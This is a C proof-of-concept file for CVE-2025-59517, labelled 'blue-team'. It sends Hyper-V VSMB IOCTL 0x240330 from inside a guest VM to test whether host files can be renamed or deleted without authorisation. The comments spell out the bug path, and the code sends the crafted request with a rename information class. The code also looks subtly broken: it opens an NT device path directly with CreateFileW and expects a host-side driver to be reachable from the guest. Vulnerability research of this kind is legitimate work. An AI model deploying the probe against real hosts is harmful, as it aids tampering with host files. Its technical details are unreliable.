// poc_cve_2025_59517.c — CVE-2025-59517 storvsp.sys improper access control
//
// Bug:    VspVsmbHandleSetInformationFileRequest uses ObDuplicateObject to
//         SYSTEM context, then ZwSetInformationFile for rename/delete without
//         caller auth.
// Reach:  Inside Hyper-V VM, IOCTL 0x240330 to \\Device\\STORVSP\\VSMB.
//
// Expected result:
//   - Pre-patch: IOCTL 0x240330 allows file rename/delete in protected host
//     directories from guest VM.
//   - Patched:   Access denied.
//
// Build (MSVC):
//   cl.exe /W4 /O2 poc_cve_2025_59517.c
//
// Blue-team note: Run INSIDE Hyper-V VM. Host should monitor VSMB IOCTLs.

#include <windows.h>
#include <stdio.h>

#define VSMB_DEVICE     L"\\Device\\STORVSP\\VSMB"
#define IOCTL_VSMB_SET  0x240330

#pragma pack(push, 1)
typedef struct _VSMB_SET_INFO_REQ {
    ULONG Handle;
    ULONG InfoClass;      // FileRenameInformation = 10, FileDispositionInformation = 13
    ULONG BufferLength;
    UCHAR Buffer[1];
} VSMB_SET_INFO_REQ, *PVSMB_SET_INFO_REQ;
#pragma pack(pop)

int wmain(void)
{
    printf("CVE-2025-59517 - storvsp.sys improper access control (blue-team PoC)\n");
    printf("Run this INSIDE a Hyper-V VM.\n\n");

    HANDLE hDevice = CreateFileW(
        VSMB_DEVICE,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Open %ws failed: %lu\n", VSMB_DEVICE, GetLastError());
        return 1;
    }
    printf("[+] Opened %ws\n", VSMB_DEVICE);

    // Send IOCTL 0x240330 with FileRenameInformation
    // In a real exploit, Buffer would contain the new file name.
    UCHAR reqBuf[64] = { 0 };
    PVSMB_SET_INFO_REQ pReq = (PVSMB_SET_INFO_REQ)reqBuf;
    pReq->Handle = 0;           // dummy handle
    pReq->InfoClass = 10;       // FileRenameInformation
    pReq->BufferLength = 4;

    DWORD returned = 0;
    BOOL ok = DeviceIoControl(
        hDevice, IOCTL_VSMB_SET,
        pReq, sizeof(reqBuf),
        NULL, 0, &returned, NULL
    );

    if (ok) {
        printf("[+] IOCTL 0x%06X succeeded!\n", IOCTL_VSMB_SET);
        printf("    This should NOT succeed without proper auth.\n");
        printf("    VULNERABLE: storvsp.sys missing access control.\n");
    } else {
        DWORD err = GetLastError();
        printf("[-] IOCTL failed: %lu\n", err);
        if (err == ERROR_ACCESS_DENIED) {
            printf("[+] PATCHED: Access denied as expected.\n");
        }
    }

    CloseHandle(hDevice);
    return 0;
}
